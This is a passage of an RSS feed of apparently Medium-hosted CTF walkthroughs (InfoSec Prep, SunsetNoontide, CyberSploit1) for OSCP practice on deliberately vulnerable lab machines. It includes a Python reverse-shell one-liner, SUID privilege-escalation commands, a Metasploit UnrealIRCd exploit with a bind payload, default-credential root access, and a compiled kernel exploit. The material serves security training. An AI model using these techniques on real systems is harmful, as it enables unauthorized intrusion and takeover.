os,pty,socket;s=socket.socket();s.connect((&quot;10.10.10.10&quot;,9001));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn(&quot;sh&quot;)&#39;</pre><p>change the ip address in exploit payload and put next to our ip ping</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_HBR8TeoFLFGseA4hmlZag.png" /></figure><p>And here we got our shell</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/594/1*Wa4UNK3t50tIrc8lbg2Pdw.png" /></figure><p>change directory to /home/dylan here you have a file local.txt</p><p><strong><em>cat local.txt </em></strong>to get your first flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*n9W3BniN4kRXQfsIilJzLA.png" /></figure><h3>Privilege Escalation:</h3><p>run the following command to check for suid</p><blockquote>find / -user root -perm /4000 2&gt;/dev/null</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/1*QGrVlCHuOVfORL9mQg0deg.png" /></figure><p>here it shows that <strong>vim.basic </strong>have suid set checking the <a href="https://gtfobins.github.io/">https://gtfobins.github.io/</a> GTFObin we got several ways here is what i use</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/816/1*VuBMU62r9kqVSYrKzwqvbg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/533/1*rygcU3YjnGdv3pH44oXL0Q.png" /></figure><p>Now simply <strong>cd /root</strong> here you have proof.txt now simply <strong><em>cat proof.txt</em></strong> to get your root flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/413/1*ucBmcGQ5n-CzlQ0fKMxzIA.png" /></figure><p>And here we have our machine rooted…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=349ae9c76925" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[InfoSec Prep Oscp Walkthrough OffSec Proving Ground |OSCP Prep]]></title>
            <link>https://medium.com/@hamzamalick72/infosec-prep-oscp-walkthrough-offsec-proving-ground-oscp-prep-d4e314a639b6?source=rss-f0c0c2b8c5a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/d4e314a639b6</guid>
            <dc:creator><![CDATA[Hamza Malick]]></dc:creator>
            <pubDate>Sun, 30 Jun 2024 13:38:49 GMT</pubDate>
            <atom:updated>2024-06-30T13:38:49.320Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*mTqMKifVFED9pTixTmX-qQ.jpeg" /></figure><p>This walkthrough is part of OSCP prep from from offsec Proving Ground Follow us and give a clap</p><p><strong>let’s begin</strong></p><p>let’s start with nmap scan</p><blockquote>nmap -sC -sV &lt;ip address&gt;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/859/1*X_omGdLpM3lrp4MI1aFX-w.png" /></figure><p>the nmap result shows that there are two ports open</p><p>port 80(http) and port 22(ssh)</p><p>also the results shows /<strong>secret.txt </strong>we will look that later</p><p>lets take a look at our web page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*32m_JAQY3qiAi_8z5n6kmg.png" /></figure><p>on further analyze what we notice is the username as oscp as the only user</p><blockquote>username <strong>“oscp”</strong></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z3VcvRP5qAJjqbMrlzHplA.png" /></figure><p>base on the results from <strong><em>dirb &lt;machine ip</em>&gt; </strong>and web scanning tools we have directry as <strong><em>/secret.txt</em></strong> lets take a look at this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/767/1*V397-0SVCbvJN0FraxfBjA.png" /></figure><p>this seems like a <strong><em>base64 </em></strong>we<strong> </strong>use this site<strong><em> </em></strong><a href="https://www.base64decode.org/"><strong><em>https://www.base64decode.org </em></strong></a>to decode this as follow</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8oZr7cnPCcvWpLakOapAHw.png" /></figure><p>we copy this and paste into a file as id_rsa and save file</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*tb6jcuI4VjKZN7xMN509Ww.png" /></figure><p>now change file permission as <strong><em>chmod 600 id_rsa</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/324/1*8Tin-h0T11hmixzOTk-CYg.png" /></figure><h3>Getting into shell:</h3><p>Now we have user “oscp” and rsa key we simply just ssh into machine using this command</p><blockquote>ssh oscp@IP_address -i id_rsa</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/692/1*LICMO3Vz9NHfsJu4X5R3jA.png" /></figure><p>and now we are in..</p><h4>Getting Local Flag:</h4><p>upon listing files we we find <strong>profile.txt</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/540/1*8iqN-kJUwHxxVCsfvVBK2g.png" /></figure><p>lets <strong><em>cat local.txt</em></strong> to get your <strong><em>local flag</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*HUmpVp0wLfaBImpgYa5lWA.png" /></figure><h3>Privilege Escalation:</h3><p>Run the fallowing command to get to know about <strong>suid</strong></p><blockquote>bash-5.0$<strong> find / -perm -u=s -type f 2&gt;/dev/null</strong></blockquote><p>From results we get to know that <strong>/usr/bin/bash </strong>have suid set</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/264/1*zxJW0fCE14_eIz8ubQ8a1w.png" /></figure><p>go to the site <a href="https://gtfobins.github.io/">https://gtfobins.github.io/</a> here we find a way to exploit <strong>/bash</strong> by executing it as <strong>./bash -p</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*WP44n8-5dgS_UXckj3Y2OA.png" /></figure><p>so lets execute the following command to get the root access</p><blockquote>/usr/bin/bash -p</blockquote><p>then run command <strong>id</strong> and it will show you as root</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*E6romGjaL-8zqh6YwrXCoA.png" /></figure><p>now simply</p><blockquote>cd / root</blockquote><p>and <strong>cat profile.txt </strong>….you have the root flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/383/1*7mKXlAa2CYGUiePQ22toyw.png" /></figure><p>and here you have your box rooted…….</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d4e314a639b6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SunsetNoontide Walkthrough OffSec Proving Ground ,Vulnhub]]></title>
            <link>https://medium.com/@hamzamalick72/sunsetnoontide-walkthrough-offsec-proving-ground-vulnhub-c378a31f6a5c?source=rss-f0c0c2b8c5a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/c378a31f6a5c</guid>
            <dc:creator><![CDATA[Hamza Malick]]></dc:creator>
            <pubDate>Fri, 28 Jun 2024 07:25:28 GMT</pubDate>
            <atom:updated>2024-06-28T07:25:28.912Z</atom:updated>
            <content:encoded><![CDATA[<h3>SunsetNoontide Walkthrough OffSec Proving Ground ,Vulnhub</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3QIgMB1PJwi7kE15wLAedA.png" /></figure><blockquote>So this room is part of Proving Ground boot-to-root, in this walkthrough we will use Metasploit, so do Fallow us it cost you noting</blockquote><p>lets start with the nmap scan as</p><blockquote><em>nmap -sC -sV 192.168.212.92</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*tCzz0jSYrQZAfkVFZFFPcQ.png" /></figure><p>we found irc port(INTERNET RELAY CHAT), IRC protocol is an application layer protocol that facilitates text-based chat system for instant messaging. IRC is designed for group communication in discussion forums ,works on client/server model</p><p>so we have irc unreal , lets search for unreal using searchsploit</p><blockquote>searchsploit unreal</blockquote><p>and we have the following results for our search</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/809/1*5FQhaVF8fR9dZUzTc1ogHw.png" /></figure><p>lets load metasploit with the command</p><blockquote>msfconsole</blockquote><p>after that <strong><em>search unreal</em></strong> in console</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FiSi5zcbAs2Eliweus20vQ.png" /></figure><p>it shows multiple options we will go with options 5 here using command</p><blockquote>use 5</blockquote><blockquote>show payloads</blockquote><p>set payload as set payload cmd/unix/bind_perl</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wjr8UzjKbV3AXZU08b91kA.png" /></figure><blockquote>set LHOST &lt;your ip&gt;</blockquote><blockquote>set RHOST &lt;machine ip&gt;</blockquote><p>use run command to gain shell access</p><p>use command such as <strong>id, whoami</strong> to verify it will show results as <strong>server</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XUnHxRal8_J_MNGAHckHdg.png" /></figure><p>use <strong>pwd</strong> command to know your location move to server using <strong>cd.. </strong>go<strong> </strong>to<strong> /server </strong>and<strong> ls </strong>we have <strong>irc</strong> and <strong>local.txt </strong>simply<strong> cat local.txt</strong> to get your local<strong> </strong>flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/392/1*p0K_rmNRJSO3SyEMpRgw-g.png" /></figure><h4>Getting root:</h4><p>Now we have to get root access to get our root flag To get the root access we check for default credential as <strong>su-</strong> or <strong>sudo root</strong> and <strong>password</strong> as <strong>root </strong>now use command<strong> whoami </strong>and it give results as<strong> root </strong>here we have root access now simply<strong> ls </strong>and we have file proof.txt</p><p><strong>cat proof.txt</strong> and we have our root flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/366/1*cCI4qRVMBVPa53fyqZa12w.png" /></figure><p><em>and here we have rooted our machine</em>….</p><p>Don’t forget to follow us so that you won’t miss anything…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c378a31f6a5c" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[“CyberSploit1” Walkthrough OffSec Proving Ground ,Vulnhub |OSCP Prep]]></title>
            <link>https://medium.com/@hamzamalick72/cybersploit1-walkthrough-offsec-proving-ground-vulnhub-oscp-prep-b300a2fac50a?source=rss-f0c0c2b8c5a6------2</link>
            <guid isPermaLink="false">https://medium.com/p/b300a2fac50a</guid>
            <dc:creator><![CDATA[Hamza Malick]]></dc:creator>
            <pubDate>Thu, 27 Jun 2024 19:35:11 GMT</pubDate>
            <atom:updated>2024-06-27T20:43:27.811Z</atom:updated>
            <content:encoded><![CDATA[<h3>CyberSploit1 Walkthrough OffSec Proving Ground ,Vulnhub |OSCP Prep</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0hy6M5V_cTCj1_hfmu-BhA.png" /></figure><p>lets start with nmap scan as follow</p><blockquote>nmap -sC -sV 192.168.212.92</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/892/1*eVlsr_ECKOac4RwLx1u1YQ.png" /></figure><p>look like we only have port 80(Web Server running Apache 2.2.22) and</p><p>port 22(ssh) open</p><p>for ssh we need to know <strong><em>username</em></strong> and <strong><em>password</em></strong></p><p>lets take a look at our machine home page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KfZIpRvVlode8hnr0-dRyw.png" /></figure><p>After analyzing i have found nothing useful, so i decided to take a look at page source</p><p>At page source i found username <strong><em>itsskv</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*4aG6iwm7pb4Amviu8uA6ag.png" /></figure><p>we try dirb tool with the command <strong><em>dirb &lt;machine ip&gt; </em></strong>and found<em> </em>some hidden directories among them is robots.txt lets try robots.txt by pasting it with the url ip</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/865/1*hLbjR4ysjpV0sJRKkRPq4w.png" /></figure><p>we found a weird text seems like base64 lets try to decode this</p><p>so we use CyberChef <a href="https://gchq.github.io/CyberChef/"><em>https://gchq.github.io/CyberChef/</em></a><em> </em>to decode this and we found this <em>cybersploit{youtube.com/c/cybersploit}</em></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Y4F6blAXosRucDpYaUX6DQ.png" /></figure><h3>Getting into the machine</h3><p>lets check if we can use this as password to ssh into machine so lets try</p><p><strong>ssh itsskv@&lt;machine ip&gt;</strong></p><p><strong>password: cybersploit{youtube.com/c/cybersploit}</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*pISimfvvd38kjR8nQt-8Yw.png" /></figure><p>So we got ssh into machine</p><h3>Getting the local Flag:</h3><p>upon <strong><em>ls</em></strong> we found local.txt file so we simply use <strong><em>cat local.txt</em></strong> and we have local flag along with the <strong><em>flag2.txt</em></strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/961/1*AfgHpNL7HAaaoeD66S5ijg.png" /></figure><h3><strong>Privilege Escalation:</strong></h3><p>To get root we need to know about our machine</p><p>we simply use command as fallow <strong><em>uname -a</em></strong> and <strong><em>cat /etc/issue</em></strong></p><p>we find its Linux version 3.13.0 and ubuntu 12.04.5</p><p>so we simply look for our exploit at <a href="https://www.exploit-db.com/">https://www.exploit-db.com/</a></p><blockquote>here is our exploit <a href="https://www.exploit-db.com/exploits/37292">https://www.exploit-db.com/exploits/37292</a></blockquote><p>we follow the instruction and copy the exploit to the machine using nano file as nano <strong><em>37292.c T</em></strong>o make it linux executable we use <strong><em>gcc 37292.c -o exploit </em></strong>then change the file permission using <strong><em>chmod +x exploit</em></strong> to change file permission</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/357/1*0O31lkF9kUHKHrKuVtoxDw.png" /></figure><p>now we are ready to run our exploit as <strong><em>./exploit</em></strong> and we got the root access</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*6hjMcEVSQS4YCggkPQrprQ.png" /></figure><p><strong><em>cd /root</em></strong> and <strong><em>ls</em></strong> we have proof.txt file simply <strong><em>cat proof.txt</em></strong> to get your final flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/881/1*N5HnhrZ4lyTEo9_6YGGA5Q.png" /></figure><p>and here we have Rooted our machine…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b300a2fac50a" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>